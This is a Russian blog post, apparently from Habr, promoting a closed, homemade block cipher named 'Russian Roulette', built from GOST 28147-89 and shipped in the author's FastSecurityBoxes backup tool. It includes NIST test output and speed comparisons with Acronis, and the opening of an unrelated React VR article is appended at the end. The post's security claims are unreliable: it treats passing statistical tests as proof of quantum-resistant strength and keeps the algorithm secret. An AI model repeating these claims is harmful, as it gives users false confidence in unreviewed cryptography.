Пока реальные квантовые вычисления находятся в области «заоблачной дали», но это не значит, что к ним рано готовится, вполне возможно, что уже даже поздно. Но лучше поздно, чем никогда.

Пока же, математики слабо разбираются в тонкостях программирования, что-то выдумывают, а потом программист должен это реализовать в программном коде, что далеко не всегда возможно сделать эффективно.
Примером такого подхода является алгоритм симметричного шифрования «Кузнечик», реализовать его эффективно в программных кодах х86-64 невозможно.
Сделаем все наоборот и посмотрим, что получится…


Программист, знающий как работает процессор, займется разработкой алгоритма максимально эффективно реализуемого на современных процессорах, а физик подскажет как его сделать стойким к методам квантового криптоанализа.
Криптографы, как в старые добрые времена, пускай занимаются своей основной работой — криптоанализом получившегося решения.
Будем действовать осторожно, по принципу «Лучшее-враг хорошему», возьмем за основу «хорошее» — ГОСТ 28147-89. Затем по врачебному принципу «Не навреди» усилим его методами многопоточных вычислений.
Что значит «усилить» говорилось в статье «Многопоточные криптографические алгоритмы», вот что было сделано конкретно:
— Увеличен размер ключа до 256байт.
— Увеличен размер блока данных до 256байт.
— Улучшены статистические параметры шифротекста.
Увеличение размеров ключа и блока данных сводятся к повышению расчетной и алгоритмической сложности криптоанализа. Требование максимального соответствия шифротекста параметрам случайной последовательности ранее было вторичным, но в настоящее время это уже неприемлемо.
Статистические характеристики шифротекста в постквантовую эпоху становятся основными параметрами, определяющими криптостойкость.
Любые нарушения случайности это скрытые закономерности, которые криптографы могут свести к линейным функциям. А линейные функции любой сложности вскрываются квантовыми методами. Поэтому статистике уделялось основное внимание при разработке многопоточного алгоритма шифрования на основе ГОСТ 28147-89.
Было сделано следующее:
— Нелинейная операция подстановки тетрад заменена нелинейной операцией перестановки байт в блоке данных. Всего используется 16 фиксированных перестановок
— В линейном преобразовании циклического сдвига внедрена нелинейная операция инвертирования групп бит.
— Сеть Фейстеля модифицирована в кольцевую сеть собственного изготовления с сохранением базовых преобразований ГОСТ 28147-89. Это сделано для устранения обратимости преобразования.
— Ввод ключей выполнен в виде обратимого криптографического преобразования перестановки бит.
Преобразование перестановки бит осуществляет разбиение 256 байтового блока на куски произвольной длины (в соответствии с ключевой информацией) и перестановки их также в зависимости от ключевой информации. Ключи в этом преобразовании не влияют на содержимое блока данных (не меняют числа нулей и едениц), только перемешивают блок данных «внешним» воздействием.
Как анализировать данное преобразование не понятно. Математического аппарата для анализа произвольных перестановок в бинарных блоках, выполняемых над произвольными фрагментами этого блока, не существует…
Модифицированная сеть Фейстеля работает в режиме необратимого гаммирования. Это гарантирует, что даже зная ключи и некоторую последовательность блоков гаммы невозможно вычислить значения блоков гаммы за пределами этой известной последовательности блоков.
Для вычислений значений блока гаммы за пределами известной последовательности требуется провести вычисление из начальной точки гаммирования.

Практическая реализация

Пока все это было «сказкой» и благими пожеланиями, пора превратить их в «быль», и вот как она выглядит:
Сначала главное, статистические параметры:
------------------------------------------------------------------------------
RESULTS FOR THE UNIFORMITY OF P-VALUES AND THE PROPORTION OF PASSING SEQUENCES
------------------------------------------------------------------------------
   generator is 
------------------------------------------------------------------------------
 C1  C2  C3  C4  C5  C6  C7  C8  C9 C10  P-VALUE  PROPORTION  STATISTICAL TEST
------------------------------------------------------------------------------
  6  12  15  10   9  14   4   5  11  14  0.122325    100/100     Frequency
  5   6  15  12  11  13   9   9  11   9  0.494392     98/100     BlockFrequency
  5  12  12  14  10   7  11  10   9  10  0.739918    100/100     CumulativeSums
  6   9  14  11  10  13   8   7  14   8  0.574903    100/100     CumulativeSums
 11  10   7  10   6   9  20   8  11   8  0.137282    100/100     Runs
 12  11   6   8  12  12  10  13   6  10  0.759756    100/100     LongestRun
 10  12   7   7   9  14  13   8  12   8  0.739918     98/100     Rank
 16  10   9   5   8  10   7  12  10  13  0.455937     99/100     FFT
  7  15   8  10   6  14  10   9  11  10  0.616305    100/100     NonOverlappingTemplate
  9  10  10  11  13   9   6  11   8  13  0.897763     99/100     NonOverlappingTemplate
  6  11   8  12   9  11  12  13   9   9  0.897763    100/100     NonOverlappingTemplate
  8   6   5  12  10  12   9  16  12  10  0.401199     98/100     NonOverlappingTemplate
 10   8   5   8  12  15   6  13  15   8  0.236810    100/100     NonOverlappingTemplate
 11   9   6  12   6   8  13   7  12  16  0.350485     98/100     NonOverlappingTemplate
 10   6   7   9  11   8   7  13  15  14  0.437274     97/100     NonOverlappingTemplate
  8   6   7  17  13  12  11   9   8   9  0.366918    100/100     NonOverlappingTemplate
 10   7   9   9  10  11   5  12  17  10  0.437274     99/100     NonOverlappingTemplate
  7   8  13   7  17   6   8  11   6  17  0.055361     98/100     NonOverlappingTemplate
 13  12   5  11  16   7   9   8   8  11  0.401199     99/100     NonOverlappingTemplate
 12   8  10   8  14   5   7  13  13  10  0.534146    100/100     NonOverlappingTemplate
 13   5  14   9  13   6   8   9  11  12  0.474986     99/100     NonOverlappingTemplate
 11   9   9  10  11   7   7  15  11  10  0.851383     97/100     NonOverlappingTemplate
 15   9   8  12   9  10   7  11   8  11  0.834308     98/100     NonOverlappingTemplate
 10  13   6  10  13   7   8  11  10  12  0.816537     99/100     NonOverlappingTemplate
  9   8  13   7  12  16  10   9   6  10  0.534146     98/100     NonOverlappingTemplate
 14  14   7  13   6   8  10   6  10  12  0.437274     99/100     NonOverlappingTemplate
 14   7  17  12   6  11   6  13   6   8  0.122325     98/100     NonOverlappingTemplate
 13   8  10   5  12  11   9   6  10  16  0.383827     99/100     NonOverlappingTemplate
  7  14   8   6  16  13  13   7   7   9  0.224821     97/100     NonOverlappingTemplate
  9  10  11  13   7   9  10  15   9   7  0.779188     98/100     NonOverlappingTemplate
 13  11  12   8  13  12   7  11   7   6  0.678686     99/100     NonOverlappingTemplate
  8  13  12   4   9  10   8  16  13   7  0.262249     98/100     NonOverlappingTemplate
  8   8   7  13  13   7  12   7  11  14  0.595549     99/100     NonOverlappingTemplate
 15  13  12   5  10   7   7   9  13   9  0.419021     99/100     NonOverlappingTemplate
  6  10  18  15   6  12   9   7   9   8  0.122325    100/100     NonOverlappingTemplate
 11  12  10  10   8   9   7  11  10  12  0.983453     99/100     NonOverlappingTemplate
 11   8  12   9  10   7  15  11   9   8  0.834308    100/100     NonOverlappingTemplate
 12   7  10   6  10  13   4  10  18  10  0.129620     99/100     NonOverlappingTemplate
 17  11  11  13  10   4   9   9  10   6  0.249284     98/100     NonOverlappingTemplate
  9   7  14  16  12  10   9   7   7   9  0.474986    100/100     NonOverlappingTemplate
 13   6   8  13  13  10  12  11   5   9  0.554420    100/100     NonOverlappingTemplate
  8  12  11   8  12  14   8  11   8   8  0.867692     99/100     NonOverlappingTemplate
 12  13  11   6  11   9   8   9  12   9  0.897763     99/100     NonOverlappingTemplate
 10  10  13  10   5   8  10   8  10  16  0.554420     99/100     NonOverlappingTemplate
  6   8   7  11   8   7  13  12  10  18  0.213309    100/100     NonOverlappingTemplate
 12   9  12   9  11   6  11  11  12   7  0.897763     97/100     NonOverlappingTemplate
 12  11  11   9   6   6  10   7  10  18  0.262249     99/100     NonOverlappingTemplate
  6   9  12   8   7  13  10  12  11  12  0.816537    100/100     NonOverlappingTemplate
  9   8  11  15   4   8  16   5  11  13  0.115387    100/100     NonOverlappingTemplate
 12   6   8  14   7  16   9  10   8  10  0.437274     98/100     NonOverlappingTemplate
 14  10  10   7   5  14   8  11   8  13  0.494392     98/100     NonOverlappingTemplate
 14   6   7  11  10  10  14   9   7  12  0.616305     98/100     NonOverlappingTemplate
 10   9  13  12  11   7  12  10   5  11  0.798139    100/100     NonOverlappingTemplate
 17  10  15   7   9   8   6  12  11   5  0.145326     98/100     NonOverlappingTemplate
 13  10   9   7   6  18  14  11   6   6  0.096578     97/100     NonOverlappingTemplate
 11   8   7  10   7  13  15  12   7  10  0.637119     99/100     NonOverlappingTemplate
  9   7  12   7  16   8  13   8  10  10  0.574903     97/100     NonOverlappingTemplate
  9  12  14  13   4   8   7  11  11  11  0.514124     99/100     NonOverlappingTemplate
  9   8   6   3  11  10  17  16  11   9  0.071177    100/100     NonOverlappingTemplate
  6  11   9  12  14   9   5  13  11  10  0.595549    100/100     NonOverlappingTemplate
  8  11  14  11  12   9   8   8  11   8  0.911413     99/100     NonOverlappingTemplate
 15  10  10  10   5   9  10  12   9  10  0.779188     99/100     NonOverlappingTemplate
 13  11  12  11   8   9   9  10   9   8  0.978072     99/100     NonOverlappingTemplate
  9  12  11   8  11   9   9  11  13   7  0.955835     99/100     NonOverlappingTemplate
 14  13  11  14   4  10  10   8   8   8  0.437274     99/100     NonOverlappingTemplate
 10   9  17  15   9   6  12  11   4   7  0.115387     99/100     NonOverlappingTemplate
  8   8  15  10   9   9  11  10  10  10  0.935716     99/100     NonOverlappingTemplate
  8   8  13  11  10   3   9   7  14  17  0.115387    100/100     NonOverlappingTemplate
 10   8  10   8   6  13   9  15  10  11  0.739918     99/100     NonOverlappingTemplate
 10  11   8   5   8   5  13  11  12  17  0.202268     99/100     NonOverlappingTemplate
 12   8  19   6  16   8   6   7  10   8  0.042808     96/100     NonOverlappingTemplate
  3  11  12  13   6   7  16  12  11   9  0.162606    100/100     NonOverlappingTemplate
 15  11   7  10  12   8   8   5  14  10  0.455937     98/100     NonOverlappingTemplate
  5  11  12  10  11  13  13  12   8   5  0.514124    100/100     NonOverlappingTemplate
 12   9  10   4  10   7   7  14  14  13  0.350485     99/100     NonOverlappingTemplate
 10   7  11  15  10   6  11   9  12   9  0.759756     99/100     NonOverlappingTemplate
  9  17   6  13   6  13  10  12   5   9  0.162606    100/100     NonOverlappingTemplate
 11  10   4  13   7   7  15  17  10   6  0.080519     97/100     NonOverlappingTemplate
 13  11  15   7   9   8  11  10   4  12  0.437274    100/100     NonOverlappingTemplate
  9  13  10  10   4   9  13  11  13   8  0.637119    100/100     NonOverlappingTemplate
 14   7   6   7   8  10  11  10  14  13  0.534146    100/100     NonOverlappingTemplate
 11  13  10   6  10  11  11   7  12   9  0.897763     99/100     NonOverlappingTemplate
  7  15   8  10   6  14  10   9  11  10  0.616305    100/100     NonOverlappingTemplate
 11   9   9   6  13  10   8   7  12  15  0.637119     98/100     NonOverlappingTemplate
 16  13   7   9   8   8  14   3   8  14  0.096578     99/100     NonOverlappingTemplate
  7   9   9  14   6   9  11  15   6  14  0.334538    100/100     NonOverlappingTemplate
 14   8  13  12  12  11   5   8   5  12  0.383827     99/100     NonOverlappingTemplate
 12   6  11   5  11  13  11  11   9  11  0.739918    100/100     NonOverlappingTemplate
 13  10   7  10   1   3  13  16  14  13  0.009535     98/100     NonOverlappingTemplate
  6   6  15  10  13   6   3  16  16   9  0.015598     99/100     NonOverlappingTemplate
 12  17  13  11   6   8   9   6  11   7  0.275709    100/100     NonOverlappingTemplate
 11  10   7   8  13   8  12  15   8   8  0.699313    100/100     NonOverlappingTemplate
 13   9  15  11   9   7  16   4   6  10  0.145326     99/100     NonOverlappingTemplate
  6  13  14   8   6   9  12  10  14   8  0.474986    100/100     NonOverlappingTemplate
 13  13  15   9   9   8   9   5  10   9  0.574903    100/100     NonOverlappingTemplate
 13  10  16   7   6   9  13   7   8  11  0.401199     99/100     NonOverlappingTemplate
  6  14  12  10  12  10   9   8   8  11  0.834308    100/100     NonOverlappingTemplate
 14  13   6   8  10   5  15  10   7  12  0.289667     99/100     NonOverlappingTemplate
  9   6  11  14  14   8   6  12  10  10  0.595549    100/100     NonOverlappingTemplate
 12  13  12  13   9  12   6   3   9  11  0.366918     99/100     NonOverlappingTemplate
  7  11   7  12   6  10  10   8  12  17  0.383827    100/100     NonOverlappingTemplate
 11   8   9  11  18   7   9   5   9  13  0.236810     99/100     NonOverlappingTemplate
 12  11  12   9  12   3   7  10  15   9  0.366918    100/100     NonOverlappingTemplate
 15   8   8   8  10  11   9  11   8  12  0.851383     97/100     NonOverlappingTemplate
 10  13   9   7  10  11  10  12  10   8  0.971699    100/100     NonOverlappingTemplate
 10   9  10  12  11   9  15   6  12   6  0.657933     99/100     NonOverlappingTemplate
 13  15  10  11  15   6   8   7   7   8  0.334538    100/100     NonOverlappingTemplate
  7  13  16   7   9   9  11   6  14   8  0.334538     99/100     NonOverlappingTemplate
  9   4  11   9  13   9   7  12  11  15  0.455937    100/100     NonOverlappingTemplate
 16   7  12   7   9  12  13   7   6  11  0.366918     97/100     NonOverlappingTemplate
 13  15  12   8   6   8   9   7  10  12  0.574903     98/100     NonOverlappingTemplate
 10   8  14   9  14   5  14  10   8   8  0.474986     99/100     NonOverlappingTemplate
 10  12   9   6   9  14  14   9   7  10  0.699313     99/100     NonOverlappingTemplate
 11   7   7   9  13   4  13  13  17   6  0.096578     99/100     NonOverlappingTemplate
 14   9   8   8  10   7  11  13  12   8  0.816537     98/100     NonOverlappingTemplate
  8   8   8   8  13   8  11  14  14   8  0.678686     99/100     NonOverlappingTemplate
 14  10  13  11   8   9  11   9   8   7  0.867692     98/100     NonOverlappingTemplate
 10   8  11  12   8  12  15  11   5   8  0.616305     97/100     NonOverlappingTemplate
 10  13   7  10  10  12   9  10  13   6  0.851383     99/100     NonOverlappingTemplate
 10  11  10   8   7   8  11   9  15  11  0.867692     99/100     NonOverlappingTemplate
 11  10   8  15   9   4   8   9  16  10  0.289667     98/100     NonOverlappingTemplate
  8  18  10   8  11  10   9   7  12   7  0.383827     98/100     NonOverlappingTemplate
  4  21  14  10  10   7   6   8   9  11  0.015598    100/100     NonOverlappingTemplate
 10   7   9  10   8   9  11  16  10  10  0.816537     99/100     NonOverlappingTemplate
  7  11  18   9   5   9   7  10   7  17  0.051942    100/100     NonOverlappingTemplate
 16   9  11   6   8   6   7  13  11  13  0.334538     98/100     NonOverlappingTemplate
  4  11   9  17   9   8  10  11  10  11  0.401199    100/100     NonOverlappingTemplate
 10   5  18  15  13   9  11   9   6   4  0.037566     98/100     NonOverlappingTemplate
 12   6  13  13  10  12   9  10   4  11  0.534146     99/100     NonOverlappingTemplate
 13   8   9   5   4  15  13  13   8  12  0.181557    100/100     NonOverlappingTemplate
 17   9   9   7   9  14   8  12   9   6  0.334538     97/100     NonOverlappingTemplate
  7  11  14   5   9  15  10  10  14   5  0.224821    100/100     NonOverlappingTemplate
 12   9  15   9  10   7  10  10   8  10  0.883171     99/100     NonOverlappingTemplate
 10  13   8   7   8   6  12  10  17   9  0.383827     98/100     NonOverlappingTemplate
  6  15   9  15   5  10  13   9   5  13  0.137282    100/100     NonOverlappingTemplate
 11  12   8   9   8  15  10  10   7  10  0.851383     99/100     NonOverlappingTemplate
  7   9   8   6   7  17  13  11  11  11  0.350485    100/100     NonOverlappingTemplate
 13   7   8  12  10   9   8  10   7  16  0.574903     97/100     NonOverlappingTemplate
 12   6   9   9   6  10  11  14  12  11  0.739918    100/100     NonOverlappingTemplate
  8  10  16  12   9   5  11  10   7  12  0.494392    100/100     NonOverlappingTemplate
 10   8  13   7   6   9  12   6  16  13  0.319084     99/100     NonOverlappingTemplate
  9  14  12   9   6   5  10  10  10  15  0.455937     99/100     NonOverlappingTemplate
 14   7   9  15  12   7   9   4   9  14  0.224821     99/100     NonOverlappingTemplate
 11  13  11   6  12   7  14  10   9   7  0.678686    100/100     NonOverlappingTemplate
 15   5   9   6   6   8  13   7  10  21  0.007160     98/100     NonOverlappingTemplate
 10  12  12   6   9   7  13  11   6  14  0.574903    100/100     NonOverlappingTemplate
 14   8  14   7  10  13   9   4  10  11  0.419021     98/100     NonOverlappingTemplate
  7   8  12   8   6  12  14  11   9  13  0.657933     98/100     NonOverlappingTemplate
 10  13  13  10   9   8   6   7  12  12  0.779188     99/100     NonOverlappingTemplate
  9  13   9   8  11  14   7   9   9  11  0.883171    100/100     NonOverlappingTemplate
 14   4   6  17   9  11   9   9  11  10  0.202268     99/100     NonOverlappingTemplate
  9   9  11   7  10  13  11  13   6  11  0.851383     99/100     NonOverlappingTemplate
 10  11   6   7  18  11  10   7  16   4  0.045675     99/100     NonOverlappingTemplate
  7   7   8  15   9   8  11  13   7  15  0.383827     99/100     NonOverlappingTemplate
  7  14  12  11   5  11  11  12   6  11  0.554420     99/100     NonOverlappingTemplate
 11  13  10   6  10  12  10   7  12   9  0.883171     99/100     NonOverlappingTemplate
  6   7   7  10   9  17  12  14   5  13  0.129620     99/100     OverlappingTemplate
  8  15  14  11   9   9  11   9   7   7  0.657933     98/100     Universal
 20   8   8   8   9   5   7  10  15  10  0.045675     99/100     ApproximateEntropy
  4   6   4   9   3  10  10   7   7   6  0.350485     66/66      RandomExcursions
 11  10   5   2   6   9   6   3   6   8  0.148094     64/66      RandomExcursions
  7  13   3   5   7   5   6   6  11   3  0.066882     66/66      RandomExcursions
  3   9   5   8  12   7   7   5   4   6  0.275709     66/66      RandomExcursions
 11   7   8   7   9   6   4   3   8   3  0.275709     63/66      RandomExcursions
  7   6  15   5   9   3   5   2   4  10  0.006196     66/66      RandomExcursions
  3   6   4  12   7   7   6   6   9   6  0.350485     66/66      RandomExcursions
  8   2   9   5   8   9   2  11   5   7  0.110952     66/66      RandomExcursions
  8   2   6   8   8   7   8   6   7   6  0.772760     65/66      RandomExcursionsVariant
  7   5   8   3   5  10   5   6  11   6  0.378138     65/66      RandomExcursionsVariant
  4  10   5   4   8   9   3   9  10   4  0.178278     65/66      RandomExcursionsVariant
  7   7   3   4   9  10   8   6   6   6  0.602458     66/66      RandomExcursionsVariant
  4   5   6   9   7   4   6   9  10   6  0.602458     66/66      RandomExcursionsVariant
  8   2   7   6   7   6   8   9   8   5  0.671779     65/66      RandomExcursionsVariant
  6   5   7   3   5   9   7  10   6   8  0.637119     65/66      RandomExcursionsVariant
  6   5   7   4   5   8   8   8   9   6  0.862344     66/66      RandomExcursionsVariant
  9   8   6   8  12   4   2   4   8   5  0.134686     64/66      RandomExcursionsVariant
  8   6   5   5   8   6   7   7   7   7  0.985035     65/66      RandomExcursionsVariant
  6   6   6   7   5   5   9   8   8   6  0.949602     65/66      RandomExcursionsVariant
  5   8   6   7   5   2  13   4   5  11  0.048716     66/66      RandomExcursionsVariant
  5   6   7   7   2   5   9  11   9   5  0.299251     66/66      RandomExcursionsVariant
  6   6   5   3   5   6  13   7   7   8  0.275709     66/66      RandomExcursionsVariant
  7   3   5   5   5  10   8   8   6   9  0.568055     65/66      RandomExcursionsVariant
  5   5   6   1   9   7  11   8   9   5  0.178278     66/66      RandomExcursionsVariant
  5   3   6   3   6   7  11   5  11   9  0.148094     66/66      RandomExcursionsVariant
  5   4   2   4   8  12   4   7  11   9  0.043745     65/66      RandomExcursionsVariant
 11  13   8   9   5  10  13  14   9   8  0.637119    100/100     Serial
 11  13   5   9  11  14   8   8   9  12  0.678686    100/100     Serial
  9   8  12  14   6   9  10   8  11  13  0.779188     98/100     LinearComplexity


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The minimum pass rate for each statistical test with the exception of the
random excursion (variant) test is approximately = 96 for a
sample size = 100 binary sequences.

The minimum pass rate for the random excursion (variant) test
is approximately = 62 for a sample size = 66 binary sequences.

For further guidelines construct a probability table using the MAPLE program
provided in the addendum section of the documentation.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Это типичный результат тестов NIST нового криптопреобразования на основе ГОСТ 28147-89. Результаты тестов на любых случайных ключах и первоначальных заполнениях всегда укладываются в статистические параметры случайной последовательности.
Для сокращения времени тестирования, применялась упрощенная методика. Сначала проводился эксперимент на ста блоках длиной один миллион бит в гамме длинной 24мегабайт (используется первая половина гаммы).
В случае неуспешного эксперимента (выпадения из диапазона допустимых пропорций), та же гамма, уже в полном объеме, тестировалась на ста блоках длиной два миллиона бит. Для таких экспериментов все запуски теста были успешными (в серии из 100 экспериментов).
Понятно, что и тесты с блоком длиной два миллиона бит тоже должны приводить иногда к выпадению из диапазона пропорций, но из-за ограничений по числу экспериментов таких случаев не встретилось.
Эти статистические параметры гаммы гораздо лучше гаммы вырабатываемой классическим ГОСТ, в нем часто встречаются ключи, на которых тесты NIST не проходят в принципе. Шифр AES, в аналогичных экспериментах не сильно отличается от традиционного ГОСТ.
Полученные в экспериментах по нормам 8 байтного блочного шифра статистические параметры для блочного шифра с размером блока 256 байт это фантастика.
Это все равно что, к примеру, подбросив монетку 12 раз и получив равное выпадение «орла» и «орешки», требовать, чтобы кубик, тоже брошенный 12 раз, выпал на каждую грань обязательно по два раза…
Такое теоретически возможно только при очень высокой дифференциальной энтропии между смежными блоками и характеризует уровень сложности блочного шифра.

И самое интересное, эти параметры получены при одном раунде преобразования. Других блочных шифров удовлетворяющих требованиям случайности при использовании всего одного раунда больше не существует.
Максимальная криптографическая мощность этого шифра достигается уже на 16 раундах, но для текущего уровня криптоанализа это явно избыточно.

Теперь про скорость

image
Это скриншот реализации многопоточного криптопреобразования на основе ГОСТ 28147-89 в программе FastSecurityBoxes, тестирование проводилось по методике описанной в статье «Второе пришествие ГОСТ».
Как видно на скриншоте скорость копирования достигла предела для тестовых SSD дисков и составляет 453мБайт/сек. при загрузке процессора всего 6 процентов.
Теоретически, в тестах чистой криптографии, скорость шифрования для режима гаммирования составляет 12 ГигаБайт/сек. на одно физическое ядро процессора (моделей Skylake и выше) работающее на частоте от 3гГерц и выше.
Скорость шифрования определяется уже не частотой процессора, а пропускной способностью оперативной памяти вычислительной системы.

Русская Рулетка, 2017 и его будущее применение

В последнее время, с легкой руки ФСБ, шифры у нас стали получать звучные названия, типа «Магма», «Кузнечик», продолжим эту традицию.
Будем называть этот блочный шифр «Русская рулетка».
Почему «Русская», надеюсь всем понятно. А «рулетка», потому как шифр построен на вращениях (кольцевых сдвигах) бинарных последовательностей. Таких сдвигов там только в явном виде 192 штуки за один раунд.
Кстати, русские офицеры, игравшие в Русскую рулетку, были хоть и безбашенными, но далеко не глупцами. Они тщательно чистили свои наганы, и хорошо знали физику, а потому держали наган при вращении барабана строго горизонтально…
Барабан с одной/пятью пулями из шести становится несбалансированным, и всегда стремиться встать пустым патронником напротив ствола.
Так что случайностью была только возможности заклинивания барабана от разных соринок/волосинок, попадание на пустой патронник было «псевдослучайным» и имело строгий, прогнозируемый результат.
Ранее, при внедрении параллельного метода реализации ГОСТ 28147-89 пришлось его полностью описать, поскольку он проходил официальную сертификацию ФСБ.
Сейчас ситуация другая, никакого официоза не предполагается. Поэтому подробного описания алгоритма «Русская рулетка» не будет, это своеобразная копирайт защита. Если интересно станет профессионалам, пускай обращаются к своим коллегам, — реверс программистам. Вот кому придется поломать голову…
Короче говоря, алгоритм Русской рулетки будет проприетарным и скоро появится вот это: Русская Рулетка, 2017.
Закрытый от исследования алгоритм шифрования,- это конечно нонсенс, поскольку отсутствует доверие к надежности шифрования.
Но Русская рулетка не система шифрования, не нужны нам терки с регулятором.
Пускай в меня первым кинет камень тот, кто скажет, что это шифр, это не система шифрования, легким движением руки сделан ход конем, и алгоритм превращен в скоростную систему хеширования и коррекции ошибок, ведь в первую очередь нужно заботится о целостности данных…
Самодельная циклическая сеть Фейстеля идеально удовлетворяет требованиям «турбокода» для исправления ошибок, я это не специально, «он сам пришел»…
Стандартное гаммирование с обратной связью превращается в Хеш функцию, если ключи связать с ранее обработанными данными…
Ну а то, что в результате данные будут еще и надежно защищены от просмотра и модификации, — так извините, побочный эффект работы системы хеширования и коррекции ошибок.

Пока представлен криптографический «движок» этой будущей системы, его можно оценить на тестовых гаммах с точки зрения статистики и криптостойкости.
В дальнейшем же предстоит сделать то, что не удалось сделать Крылову.
С помощью Русской рулетки запряжем в «телегу» ответственного архивирования трех персонажей его басни,- «лебедя» приватности, «рака» достоверности и «щуку» надежности. При этом, заставим их тянуть «телегу» с бешеной скоростью…
Сложная задача, но решаемая.

Практическая реализация криптофункции

Алгоритм «Русская рулетка» встроен в демонстрационную версию программы FastSecurityBoxes в частично обрезанном виде. Пока, для тестирования, реализовано только базовое преобразование работающее в режиме гаммирования. Используется один раунд, этого достаточно для надежного прохождения тестов NIST и криптостойкости на уровне 2256*8 (вариант прямой атаки методом перебора).
Ключи пересчитываются после выдачи 64килобайт гаммы.
Сам алгоритм реализован на AVX командах с использованием YMM регистров, поэтому эффективно этот алгоритм может работать только на самых последних процессорах Интел (Skylake и выше).
На процессорах AMD, даже самых новых, алгоритм Русской рулетки будет работать медленно, поскольку операции использующие YMM регистры реализованы в них микропрограмно а не аппаратно.
Чтобы в дальнейшем программа FastSecurityBoxes была востребована для практической работы, она имеет «полезную нагрузку» в виде функции создания резервных копий логических дисков (естественно восстановление дисков там тоже есть).
Выбор прикладной задачи обусловлен с одной стороны актуальностью темы, а с другой стороны наглядностью результата. Создание резервных копий дисков естественно было «заточено» под скоростные SSD диски, которые уже сегодня на интерфейсе NVMe могут работать со скоростью 2-3 Гигабайта в секунду. На таких скоростях шифровать данные до сих пор никто не умел, но теперь это уже реальность.
Помимо нового, пока экзотического многопоточного алгоритма, FastSecurityBoxes реализует шифрование по классическому ГОСТ 28147-89 в 8 параллельных потоков (для старых процессоров) и 16 параллельных потоков (для «скайлейка» и выше). Эти паралельные методы шифрования сертифицированы ФСБ.
Шифрование в 8 и 16 потоков включены в состав программы для предметного сравнения результатов, чтоб чувствовалась разница…

Видимо я запутал читателей терминами «многопоточный» и «параллельный», поэтому поясню.
Параллельный метод реализации ГОСТ 28147-89 это сертифицированный ФСБ метод. Параллельность предполагает выполнение стандартных криптопроцедур одновременно на 4-8-16 независимых физических устройствах. При этом ключи шифрования, блоки замен везде одинаковые, но входные и выходные данные разные. Ускорение работы достигается за счет одновременной работы нескольких независимых друг от друга физических устройств.
Термин «независимое физическое устройство» применительно к процессору это понятие условное, в реальности у процессора имеется набор регистров, на которых одновременно (одной командой процессора) выполняются одинаковые преобразования. Но для простоты понимания будем считать их независимыми физическими устройствами, работающими строго параллельно и синхронно.

Многопоточный метод реализованный в алгоритме «Русская рулетка» существенно отличается от параллельного, вот его главные отличия:
1. Имеется единственный блочный раундовый преобразователь.
2. Длина блока (пока) 256байт и может масштабироваться.
3. Фрагменты блока (по два байта) обрабатываются в независимых потоках.
4. Объединение фрагментов производится в дополнительном преобразовании.
Многопоточный метод позволяет увеличить размер ключевых данных и размер входного блока данных. При этом изменение любого из 2048 бит входного блока приводит к гарантированному изменению всех 2048 выходных бит после десяти раундов преобразования.
Сейчас шифр содержит 128 потоков, когда появятся процессора с набором команд AVX-512, можно будет увеличить количество потоков до 512 (блок данных будет иметь размер 1Кбайт) и в два раза поднять скорость.

А пока, в сухом остатке..

Скорость на уровне 12 ГигаБайт в секунду для процессора с частотой 3гГерц, не с чем сравнивать. Скорость реализации алгоритма «Русская рулетка» в режиме гаммирования «несравненная».
Это самый скоростной генератор псевдослучайных последовательностей из известных, удовлетворяющий требованиям тестов NIST.

Математическая сложность криптоанализа базового преобразования «Русская рулетка» определяется размерностью ключа, в нашем случае она равна 2256*8.
Алгоритмическая сложность криптоанализа с учетом известных методов взлома для базового преобразования «Русская рулетка» как минимум не меньше родительского преобразования ГОСТ 28147-89.

Больше статью не буду перегружать информацией об этом новом алгоритме, пока пускай заинтересованные лица проверят сказанное в тестовой программе.

Скачать программу FastSecurityBoxes можно здесь

Для тестирования в ней предусмотрена функция выдачи «чистой» гамммы. В этом режиме создаются тестовые псевдослучайные файлы для преобразований по ГОСТ 28147-89 и «Русской рулетки».

P.S.

Программа FastSecurityBoxes (ФорсированныеСекретныеОбразы если по-русски) скоро превратится в пригодную для массового использования программу ответственного архивирования, а затем, надеюсь, в полнофункциональный коммерческий продукт. Соответственно интересно сравнить ее с корифеями рынка коммерческого резервного копирования по скорости копирования и загрузке процессора.
Скоростные параметры FastSecurityBoxes уже приводились в статье «Второе пришествие ГОСТ», посмотрим в качестве примера, что может сделать Акронис в тех же режимах работы, на той же самой аппаратной платформе.

Вот как он создает посекторный дамп без шифрования и сжатия:
image

Программа выполняет посекторное копирование на скорости 368 МБ/сек… Видимо используется синхронный однопоточный ввод-вывод с циклами ожидания окончания операции ввода/вывода. Иначе не объяснить слишком большой загрузки процессора на операциях ввода/вывода, составляющей 20%. Явно устаревшее решение из прошлого тысячелетия.
На этой же конфигурации оборудования тестовая программа FastSecurityBoxes обеспечивала скорость дампирования 450 МБ/сек. при загрузке процессора на уровне 6 процентов.

Вот что Acronis выдает на посекторном копировании (без сжатия) с шифрованием дампа по ГОСТ 28147-89:
image
Скорость снизилась почти в десять раз, до 42 МБ/сек. используя 17 процентов вычислительных ресурсов процессора, FastSecurityBoxes обеспечивала в этом режиме скорость 330 МБ/сек, при этом используя 10 процентов вычислительных ресурсов, думаю комментарии излишни…
А вывод очевиден, Acronis использует устаревшую классическую реализацию ГОСТ 28147-89 на РОН регистрах процессора, поэтому такая низкая скорость.

Вот что получается у Acronis с шифрованием дампа по самому «легкому» алгоритму AES -128, опять без сжатия. Этот алгоритм по криптостойкости хуже ГОСТ 28147-89, но реализация его самая скоростная из-за сокращенного количества раундов.
image
Скорость возросла до 80 МБ/сек, но все равно это катастрофически мало, BitLocker обеспечивал в этом режиме скорость около 360 МБ/сек. Очевидно используется устаревшая криптобиблиотека без поддержки аппаратного криптоускорителя Intel.

Как то все это бледно смотрится на фоне современных технологий…
Как работает FastSecurityBoxes?

Никто ещё не голосовал. Воздержавшихся нет.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331960/


[Перевод] Создание React VR-приложения, работающего в реальном времени

Пятница, 30 Июня 2017 г. 13:33 + в цитатник


Библиотека React VR позволяет писать для веба приложения виртуальной реальности с использованием JavaScript и React поверх WebVR API. Эта спецификация поддерживается последними (в некоторых случаях — экспериментальными) версиями браузеров Chrome, Firefox и Edge. И для этого вам не нужны очки VR.


WebVR Experiments — это сайт-витрина, демонстрирующий возможности WebVR. Моё внимание привлёк проект The Musical Forest, созданный замечательным человеком из Google Creative Lab, который использовал A-Frame, веб-фреймворк для WebVR, разработанный командой Mozilla VR.


